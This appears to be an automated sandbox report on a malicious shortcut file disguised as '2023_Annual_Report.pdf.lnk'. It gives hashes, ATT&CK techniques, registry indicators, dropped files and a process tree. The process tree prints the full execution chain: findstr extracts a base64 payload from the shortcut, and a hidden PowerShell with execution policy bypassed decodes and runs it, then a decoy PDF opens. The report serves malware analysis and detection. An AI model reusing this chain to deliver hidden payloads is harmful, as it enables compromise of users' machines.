ec01c971910cefaf107cd44a7d4c7e68d6e1659ee24c60340c505511d37104b3

General

Target

2023_Annual_Report.pdf.lnk
Size

55KB
MD5

bbc4414d76d1a765f3d525556f616ef9
SHA1

c73e28d87fbbc8be79ed1d421e78a41c29111a86
SHA256

86f504dea07fd952253904c468d83d9014a290e1ff5f2d103059638e07d14b09
SHA512

2a7204e361ace1c5c03bc240b985d09cc1f1e67dce025dca5ac9d450bc7193e456d3602ab557abd9bd7ec4d96815e41df06cdce9359379b32c0e777aa9d54be7
SSDEEP

768:NLoFJQeDHeGYyhA5Z7JsCVResXebqwVCYm7/k/m7RU6d/dwiuGIjsZL2RxcNRyxc:NLBWYX5Z7JsCVCbqECB7cOm0OoxUURV

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	process
17	1960	powershell.exe
18	1960	powershell.exe
19	1960	powershell.exe
25	1960	powershell.exe
26	1960	powershell.exe
27	1960	powershell.exe
28	1960	powershell.exe
29	1960	powershell.exe
30	1960	powershell.exe
33	1960	powershell.exe
36	1960	powershell.exe
37	1960	powershell.exe
38	1960	powershell.exe
39	1960	powershell.exe
40	1960	powershell.exe
41	1960	powershell.exe
42	1960	powershell.exe
43	1960	powershell.exe
46	1960	powershell.exe
47	1960	powershell.exe
48	1960	powershell.exe
54	1960	powershell.exe
55	1960	powershell.exe
56	1960	powershell.exe
57	1960	powershell.exe
58	1960	powershell.exe
59	1960	powershell.exe
60	1960	powershell.exe
61	1960	powershell.exe
62	1960	powershell.exe
63	1960	powershell.exe
64	1960	powershell.exe
65	1960	powershell.exe
66	1960	powershell.exe
67	1960	powershell.exe
68	1960	powershell.exe
69	1960	powershell.exe
70	1960	powershell.exe
71	1960	powershell.exe
73	1960	powershell.exe
74	1960	powershell.exe
75	1960	powershell.exe
78	1960	powershell.exe
79	1960	powershell.exe
80	1960	powershell.exe
81	1960	powershell.exe
82	1960	powershell.exe
83	1960	powershell.exe
84	1960	powershell.exe
85	1960	powershell.exe
86	1960	powershell.exe
87	1960	powershell.exe
88	1960	powershell.exe
89	1960	powershell.exe
90	1960	powershell.exe
91	1960	powershell.exe
92	1960	powershell.exe
93	1960	powershell.exe
94	1960	powershell.exe
95	1960	powershell.exe
96	1960	powershell.exe
97	1960	powershell.exe
98	1960	powershell.exe
99	1960	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exeAcroRd32.exe

pid	process
6008	powershell.exe
6008	powershell.exe
1960	powershell.exe
1960	powershell.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 6008 powershell.exe
Token: SeDebugPrivilege 1960 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

2832 AcroRd32.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

2832 AcroRd32.exe
2832 AcroRd32.exe
2832 AcroRd32.exe
2832 AcroRd32.exe
2832 AcroRd32.exe

description	pid	process
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe

pid	process
2832	AcroRd32.exe

pid	process
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exepowershell.exepowershell.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 2572 wrote to memory of 5916	2572	cmd.exe	cmd.exe
PID 2572 wrote to memory of 5916	2572	cmd.exe	cmd.exe
PID 5916 wrote to memory of 5200	5916	cmd.exe	findstr.exe
PID 5916 wrote to memory of 5200	5916	cmd.exe	findstr.exe
PID 5916 wrote to memory of 6008	5916	cmd.exe	powershell.exe
PID 5916 wrote to memory of 6008	5916	cmd.exe	powershell.exe
PID 6008 wrote to memory of 1960	6008	powershell.exe	powershell.exe
PID 6008 wrote to memory of 1960	6008	powershell.exe	powershell.exe
PID 1960 wrote to memory of 4548	1960	powershell.exe	findstr.exe
PID 1960 wrote to memory of 4548	1960	powershell.exe	findstr.exe
PID 1960 wrote to memory of 224	1960	powershell.exe	attrib.exe
PID 1960 wrote to memory of 224	1960	powershell.exe	attrib.exe
PID 1960 wrote to memory of 2832	1960	powershell.exe	AcroRd32.exe
PID 1960 wrote to memory of 2832	1960	powershell.exe	AcroRd32.exe
PID 1960 wrote to memory of 2832	1960	powershell.exe	AcroRd32.exe
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	RdrCEF.exe
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	RdrCEF.exe
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	RdrCEF.exe
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	RdrCEF.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

224 attrib.exe

pid	process
224	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2023_Annual_Report.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk > "C:\Users\Admin\AppData\Local\Temp\Temp.jpg" & start /B pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
2⤵
- Suspicious use of WriteProcessMemory
PID:5916

C:\Windows\system32\findstr.exe
findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk
3⤵
PID:5200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
4⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\system32\findstr.exe
"C:\Windows\system32\findstr.exe" /R JVBERi0xLjcNJeLjz9 2023_Annual_Report.pdf.lnk
5⤵
PID:4548

C:\Windows\system32\attrib.exe
"C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Temp.jpg
5⤵
- Views/modifies file attributes
PID:224

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Important.pdf"
5⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2832

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
6⤵
- Suspicious use of WriteProcessMemory
PID:3120

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
7⤵
PID:5500

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=ECBE091FD842E6A1E45E214BE47CB189 --mojo-platform-channel-handle=1828 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:5780

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5B8703FDD5344672C6FAA397DD20FD47 --mojo-platform-channel-handle=2360 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:428

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3677EFB195EB9E9DEDD0DA4633FE2464 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3677EFB195EB9E9DEDD0DA4633FE2464 --renderer-client-id=5 --mojo-platform-channel-handle=1980 --allow-no-sandbox-job /prefetch:1
7⤵
PID:1352

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=2C82C40C0BD9E82DB3C966B567A6967C --mojo-platform-channel-handle=2604 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:5288

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8489DF240A810A0865DEEA5C020615EF --mojo-platform-channel-handle=2692 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
7⤵
PID:4012

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2632

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
64KB

MD5
a615bce9aa4d5ae1330764ed85b7b0ee

SHA1
4de2c916ec792cab332b8d735776c01a2f1f78c1

SHA256
41e0bd5da8334012c85b13fc1e563a91b832b65c64991175e51a12cc07ad2da9

SHA512
7fa08d4347e66aa4bb56b9cd1f29a736d05f0bc480356325aa2e68d67610e7ae5bf828a76ed7bb6b0f7253bb35f3cf4e75f5b12a7d97847742554b1dee602989

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Important.pdf
Filesize
35KB

MD5
76f18bc1e745e59e37141f2a9d336f6f

SHA1
289c50c79786a9e3ce559e7b6246305c26aa1082

SHA256
84f026998c5a547c8cc3ba8d86d3425097c501ae85a207c121288f6c1cf72710

SHA512
8b7c74ec13e4b8fc6c7cdb6ee161b203f99cf671ff72487bdce12f5d8c1ff73939bb31d6065fc1fcb41caa00ae07d8fab618848ec5f67748899586e498da496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Temp.jpg
Filesize
7KB

MD5
50514f94115e319477095fbefa61257e

SHA1
004b3b8e4ace16db6fc954c10decf8856617ef12

SHA256
4339e02a2557b36934baf68b6e97daae04a3e118da2a66915e6200579594d8c6

SHA512
47f6a6f52e02cb7365e70e1637ad0f6e4c96c6f156ad794f3583eb8cbf1dc9af3b8a921ca2c754c2636bba2c2c6991204930502d171b2b41b72af78bfb7e2a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kxp4fu0.ah4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1960-63-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-14-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/1960-20-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-24-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-25-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-26-0x00000262BA880000-0x00000262BA8C6000-memory.dmp

Filesize
280KB

Download
memory/1960-177-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-144-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-76-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-56-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-67-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-9-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-75-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-62-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-10-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-12-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-8-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-11-0x000002876F550000-0x000002876F572000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads